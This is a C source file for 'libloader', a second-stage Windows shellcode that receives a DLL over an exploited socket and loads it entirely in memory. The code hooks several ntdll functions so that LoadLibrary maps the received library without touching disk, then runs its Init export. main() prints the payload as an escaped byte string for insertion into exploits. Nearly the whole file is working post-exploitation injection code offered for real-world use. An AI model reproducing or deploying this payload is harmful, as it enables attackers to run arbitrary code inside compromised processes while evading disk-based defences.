/* * libloader -- In-Memory Remote Library Injection shellcode * Jarkko Turkulainen * * Platforms: Windows NT4/2000/XP/2003 * * Compile: cl libloader.c * * * How to use: * * See main() for example. To make this work in real-world exploit, you * must manually hack the exploit code. For quick demonstration, run * against the demo server "srv.exe". * * NOTE: the loaded library MUST export a function named "Init" !!! * That is the actual code you must write to make this stuff useful :-) * See example.c to get the idea. * * * TODO: * * - Hide the DLL from PEB * * * Credits: * * - skape for ideas, nologin, Metasploit * * */ #include #include #include #include "libloader.h" #pragma comment(lib, "ws2_32.lib") #pragma warning(disable: 4068) /* * 2nd stage loader * * loader2_start is a bootstrapper for the actual shellcode. It loads all the * libraries and resolves function VMAs. All information is stored in structure * SHELLCODE_CTX which acts like import and data section for rest of the program. * */ void loader2_start() { SHELLCODE_CTX ctx; char winsock[10]; __asm { jmp callback ; Jump to callback address startup: jmp continue ; Continue execution callback: call startup ; Call startup continue: pop ebx ; Absolute address of continue sub ebx, 0x15 ; Adjust the address to point to ; shellcode_start() ; Note that this value is not ; correct if the code above is modified ; somehow (or if the compiler for some ; reason generates different code..) mov ctx.offset, ebx ; Save offset mov ctx.sd, edi ; Save the file descriptor jmp resolve_vmas ; Skip general functions #include "generic.c" resolve_vmas: ; kernel32.dll routines call find_kernel32 ; Find kernel32 base address mov ebx, eax ; Save the handle in ebx push HASH_LoadLibraryA ; Push function hash push ebx ; Push base handle call find_function ; Find function add esp, 8 ; Fix stack mov ctx.LoadLibrary, eax ; Save the VMA push HASH_GetProcAddress ; Here we go again.. push ebx call find_function add esp, 8 mov ctx.GetProcAddress, eax push HASH_ExitProcess push ebx call find_function add esp, 8 mov ctx.ExitProcess, eax push HASH_VirtualAlloc push ebx call find_function add esp, 8 mov ctx.VirtualAlloc, eax push HASH_VirtualFree push ebx call find_function add esp, 8 mov ctx.VirtualFree, eax push HASH_VirtualQuery push ebx call find_function add esp, 8 mov ctx.VirtualQuery, eax push HASH_VirtualProtect push ebx call find_function add esp, 8 mov ctx.VirtualProtect, eax push HASH_FlushInstructionCache push ebx call find_function add esp, 8 mov ctx.FlushInstructionCache, eax push HASH_WriteProcessMemory push ebx call find_function add esp, 8 mov ctx.WriteProcessMemory, eax ; ntdll.dll routines xor eax, eax mov al, 0x6c push eax ; Push "l\x00\x00\x00" push 0x6c64746e ; Push "ntdl" push esp ; Push address of "ntdll\x00\x00\x00" call ctx.LoadLibrary ; Get module handle mov ebx, eax ; Save the handle in ebx push HASH_NtOpenSection ; Push function hash push ebx ; Push base handle call find_function ; Find function add esp, 8 ; Fix stack mov ctx.NtOpenSection, eax ; Save function VMA push HASH_NtQueryAttributesFile ; Here we go again.. push ebx call find_function add esp, 8 mov ctx.NtQueryAttributesFile, eax push HASH_NtOpenFile push ebx call find_function add esp, 8 mov ctx.NtOpenFile, eax push HASH_NtCreateSection push ebx call find_function add esp, 8 mov ctx.NtCreateSection, eax push HASH_NtMapViewOfSection push ebx call find_function add esp, 8 mov ctx.NtMapViewOfSection, eax } winsock[0] = 'w'; winsock[1] = 's'; winsock[2] = '2'; winsock[3] = '_'; winsock[4] = '3'; winsock[5] = '2'; winsock[6] = 0; ctx.LoadLibrary(winsock); __asm { mov edx, eax push HASH_recv push edx call find_function add esp, 8 mov ctx.recv, eax } /* Now call the shellcode main function */ loader2_main(&ctx); } /* * This is where the context pointer is saved. * It is (almost) static offset from find_ctx so it is easily determined at run-time. * To be exact, the offset is dependent of compiler version, but the compiler knows * relative offset between these functions. Using that information with the absolute * address of find_ctx, the context pointer can be found. See find_ctx(). * */ int __declspec(naked) ctx_data() { __asm { _emit 0xff _emit 0xff _emit 0xff _emit 0xff } } /* * find_ctx is used for finding the shellcode context in memory. It is * mandatory step because the hook functions have no glue about the context * (they are called from ntdll.dll) * */ int __declspec(naked) find_ctx() { __asm { push ebp mov ebp, esp call getaddress ; Get our address getaddress: pop ecx ; Save address in ebx sub ecx, 8 ; Adjust to point to find_ctx mov eax, offset find_ctx ; Calculate relative offset sub eax, offset ctx_data sub ecx, eax ; Adjust to point to ctx_data mov eax, [ecx] ; Return contents pop ebp ret } } /* * Find library name from given unicode string * */ int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str) { int i, j; for (i = 0; i < str->Length; i++) { for (j = 0; j < ctx->liblen; j++) { if (str->Buffer[i + j] != ctx->libname[j]) break; } /* Match */ if (j == ctx->liblen) { return 0; } } return 1; } /* NtOpenSection hook */ NTSTATUS NTAPI m_NtOpenSection( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes) { SHELLCODE_CTX *ctx; /* Find our context */ ctx = (SHELLCODE_CTX *) find_ctx(); if (!find_string(ctx, ObjectAttributes->ObjectName)) { *SectionHandle = (PHANDLE)ctx->mapped_address; return STATUS_SUCCESS; } return ctx->p_NtOpenSection(SectionHandle, DesiredAccess, ObjectAttributes); } /* NtQueryAttributesFile hook */ NTSTATUS NTAPI m_NtQueryAttributesFile( POBJECT_ATTRIBUTES ObjectAttributes, PFILE_BASIC_INFORMATION FileAttributes) { SHELLCODE_CTX *ctx; /* Find our context */ ctx = (SHELLCODE_CTX *) find_ctx(); if (!find_string(ctx, ObjectAttributes->ObjectName)) { /* * struct PFILE_BASIC_INFORMATION must be actually filled * with something sane, otherwise it might break something. * The values are defined in libloader.h * */ FileAttributes->CreationTime.LowPart = LOW_TIME_1; FileAttributes->CreationTime.HighPart = HIGH_TIME; FileAttributes->LastAccessTime.LowPart = LOW_TIME_2; FileAttributes->LastAccessTime.HighPart = HIGH_TIME; FileAttributes->LastWriteTime.LowPart = LOW_TIME_1; FileAttributes->LastWriteTime.HighPart = HIGH_TIME; FileAttributes->ChangeTime.LowPart = LOW_TIME_1; FileAttributes->ChangeTime.HighPart = HIGH_TIME; FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL; return STATUS_SUCCESS; } return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes); } /* NtOpenFile hook */ void NTAPI m_NtOpenFile( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions) { SHELLCODE_CTX *ctx; /* Find our context */ ctx = (SHELLCODE_CTX *) find_ctx(); if (!find_string(ctx, ObjectAttributes->ObjectName)) { *FileHandle = (PVOID)ctx->mapped_address; return; } ctx->p_NtOpenFile( FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions); return; } /* NtCreateSection hook */ NTSTATUS NTAPI m_NtCreateSection( PHANDLE SectionHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG PageAttributes, ULONG SectionAttributes, HANDLE FileHandle) { SHELLCODE_CTX *ctx; /* Find our context */ ctx = (SHELLCODE_CTX *)find_ctx(); if (FileHandle == (HANDLE)ctx->mapped_address) { *SectionHandle = (PVOID)ctx->mapped_address; return STATUS_SUCCESS; } return ctx->p_NtCreateSection( SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, PageAttributes, SectionAttributes, FileHandle); } /* NtMapViewOfSection hook */ NTSTATUS NTAPI m_NtMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PULONG ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Protect) { SHELLCODE_CTX *ctx; /* Find our context */ ctx = (SHELLCODE_CTX *)find_ctx(); if (SectionHandle == (HANDLE)ctx->mapped_address) { *BaseAddress = (PVOID)ctx->mapped_address; /* We assume that the image must be relocated */ return STATUS_IMAGE_NOT_AT_BASE; } return ctx->p_NtMapViewOfSection( SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Protect); } /* Patch given function */ void patch_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub, unsigned char *hook) { DWORD protect; ULONG bytes, written; MEMORY_BASIC_INFORMATION mbi_thunk; /* * Most native NT functions begin with stub like this: * * 00000000 B82B000000 mov eax,0x2b ; syscall * 00000005 8D542404 lea edx,[esp+0x4] ; arguments * 00000009 CD2E int 0x2e ; interrupt * * In offset 0, the actual system call is saved in eax. Syscall * is 32 bit number (!) so we can assume 5 bytes of preamble size * for each function.. If there's need to hook other functions, * a complete disassembler is needed for preamble size counting. * */ bytes = 5; /* Create the stub */ ctx->WriteProcessMemory((HANDLE)-1, stub, (char *)address, bytes, &written); *(PBYTE)(stub + bytes) = 0xE9; *(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5); /* Patch original function */ /* Fix protection */ ctx->VirtualQuery((char *)address, &mbi_thunk, sizeof(MEMORY_BASIC_INFORMATION)); ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); /* Insert jump */ *(PBYTE)address = 0xE9; *(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5); /* Restore protection */ ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, mbi_thunk.Protect, &protect); ctx->FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, mbi_thunk.RegionSize); } /* Install hooks, fix addresses */ void install_hooks(SHELLCODE_CTX *ctx) { /* NtMapViewOfSection */ /* Patch */ patch_function(ctx, ctx->NtMapViewOfSection, ctx->s_NtMapViewOfSection, (unsigned char *)((DWORD)m_NtMapViewOfSection - (DWORD)loader2_start) + ctx->offset); /* Copy pointer */ ctx->p_NtMapViewOfSection = (f_NtMapViewOfSection)ctx->s_NtMapViewOfSection; /* NtQueryAttributesFile */ patch_function(ctx, ctx->NtQueryAttributesFile, ctx->s_NtQueryAttributesFile, (unsigned char *)((DWORD)m_NtQueryAttributesFile - (DWORD)loader2_start) + ctx->offset); ctx->p_NtQueryAttributesFile = (f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile; /* NtOpenFile */ patch_function(ctx, ctx->NtOpenFile, ctx->s_NtOpenFile, (unsigned char *)((DWORD)m_NtOpenFile - (DWORD)loader2_start) + ctx->offset); ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile; /* NtCreateSection */ patch_function(ctx, ctx->NtCreateSection, ctx->s_NtCreateSection, (unsigned char *)((DWORD)m_NtCreateSection - (DWORD)loader2_start) + ctx->offset); ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection; /* NtOpenSection */ patch_function(ctx, ctx->NtOpenSection, ctx->s_NtOpenSection, (unsigned char *)((DWORD)m_NtOpenSection - (DWORD)loader2_start) + ctx->offset); ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection; } /* Restore given function */ void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub) { DWORD protect; ULONG bytes, written; MEMORY_BASIC_INFORMATION mbi_thunk; bytes = 5; /* Patch original function */ /* Fix protection */ ctx->VirtualQuery((char *)address, &mbi_thunk, sizeof(MEMORY_BASIC_INFORMATION)); ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); /* Copy bytes back to function */ ctx->WriteProcessMemory((HANDLE)-1, (char *)address, stub, bytes, &written); /* Restore protection */ ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, mbi_thunk.Protect, &protect); ctx->FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, mbi_thunk.RegionSize); } /* Remove hooks */ void remove_hooks(SHELLCODE_CTX *ctx) { /* NtMapViewOfSection */ restore_function(ctx, ctx->NtMapViewOfSection, ctx->s_NtMapViewOfSection); /* NtQueryAttributesFile */ restore_function(ctx, ctx->NtQueryAttributesFile, ctx->s_NtQueryAttributesFile); /* NtOpenFile */ restore_function(ctx, ctx->NtOpenFile, ctx->s_NtOpenFile); /* NtCreateSection */ restore_function(ctx, ctx->NtCreateSection, ctx->s_NtCreateSection); /* NtOpenSection */ restore_function(ctx, ctx->NtOpenSection, ctx->s_NtOpenSection); } /* Map file in memory as section */ void map_file(SHELLCODE_CTX *ctx) { PIMAGE_NT_HEADERS nt; PIMAGE_DOS_HEADER dos; PIMAGE_SECTION_HEADER sect; int i; dos = (PIMAGE_DOS_HEADER)ctx->file_address; nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew); /* * Allocate space for the mapping * First, try to map the file at ImageBase * */ ctx->mapped_address = (DWORD)ctx->VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase, nt->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); /* No success, let the system decide.. */ if (ctx->mapped_address == 0) { ctx->mapped_address = (DWORD)ctx->VirtualAlloc((PVOID)NULL, nt->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); } /* Write headers */ ctx->WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address, (LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0); /* Write sections */ sect = IMAGE_FIRST_SECTION(nt); for (i = 0; i < nt->FileHeader.NumberOfSections; i++) { ctx->WriteProcessMemory((HANDLE)-1, (PCHAR)ctx->mapped_address + sect[i].VirtualAddress, (PCHAR)ctx->file_address + sect[i].PointerToRawData, sect[i].SizeOfRawData, 0); } } /* * loader2_main - shellcode main function * * Yes - written in C. Why? * * - It is 2nd stage, there is not need for optimizing * - Writing complex programs in pure assembly takes time * - C shellcode is extremely cool * - I wanted to find out how it's done * - Oh, I almost forgot, it's cool * */ int loader2_main(SHELLCODE_CTX *ctx) { DWORD length, base, function; char name[12]; int i, bytes, read, left; /* dll entry point */ name[0] = 'I'; name[1] = 'n'; name[2] = 'i'; name[3] = 't'; name[4] = '\0'; /* Read the first 4 bytes for file length */ bytes = ctx->recv(ctx->sd, (char *)&length, 4, 0); if (bytes <= 0) { ctx->ExitProcess(1); } /* Allocate space for data */ ctx->file_address = (DWORD)ctx->VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_READWRITE); if (ctx->file_address == 0) { ctx->ExitProcess(1); } /* Read file */ for (bytes = 0, read = 0, left = length; left > 0; left -= bytes, read += bytes) { bytes = ctx->recv(ctx->sd, (char *)(ctx->file_address + read), left, 0); if (bytes < 0) { break; } } /* Set the library name */ for (i = 0; *(char *)(ctx->file_address + i); i++) ctx->libname[i] = *(char *)(ctx->file_address + i); ctx->libname[i] = 0; ctx->liblen = i; /* Update the file address offset */ ctx->file_address += i + 1; map_file(ctx); /* Write context pointer */ *(DWORD *)(((DWORD)ctx_data - (DWORD)loader2_start) + ctx->offset) = *(DWORD *)&ctx; install_hooks(ctx); if ((base = ctx->LoadLibrary(ctx->libname)) == 0) { /* Something is terribly wrong.. */ ctx->ExitProcess(1); } remove_hooks(ctx); /* Call entry point, if it exists */ if ((function = (DWORD)ctx->GetProcAddress((HMODULE)base, (LPCTSTR)name)) != 0) { ((int(*)()) (function))(ctx->sd); } ctx->VirtualFree((LPVOID)((char *)ctx->file_address - ctx->liblen - 1), 0, MEM_RELEASE); ctx->ExitProcess(0); ctx = NULL; /* Just to keep compiler happy */ return(0); } /* Just a stub for counting the shellcode size */ int __declspec(naked) loader2_end() { __asm ret } /* * Simple program for demonstration with "srv.exe" * * Example: libloader 10.0.0.1 1111 example.dll * */ int main(int argc, char **argv) { int sd, c, i; char *buf, databuf[1024]; struct hostent *hp; struct sockaddr_in adr, local; struct stat sstat; FILE *fp; WSADATA wsa_data; unsigned char *start1, *end1, *start2, *end2; unsigned long length1, length2; start2 = (unsigned char *)loader2_start; end2 = (unsigned char *)loader2_end; length2 = end2 - start2; /* * XXXXXXXXXXXX Insert your exploit code here... XXXXXXXXXXX * * If this were a real world exploit, the actual exploit magic * should be done at this point. As a proof-of-concept, we just * send the 1st loader to host which jumps to code and executes * it (assuming that there's the example server "srv.exe"). * */ fprintf(stderr, "total size is %lu\n", length2); printf("\""); for (i = 0; i < length2; i++) { printf("\\x%02x", start2[i] & 0xff); if (i > 0 && i % 20 == 0) printf("\" .\n\""); } printf("\"\n"); exit(0); }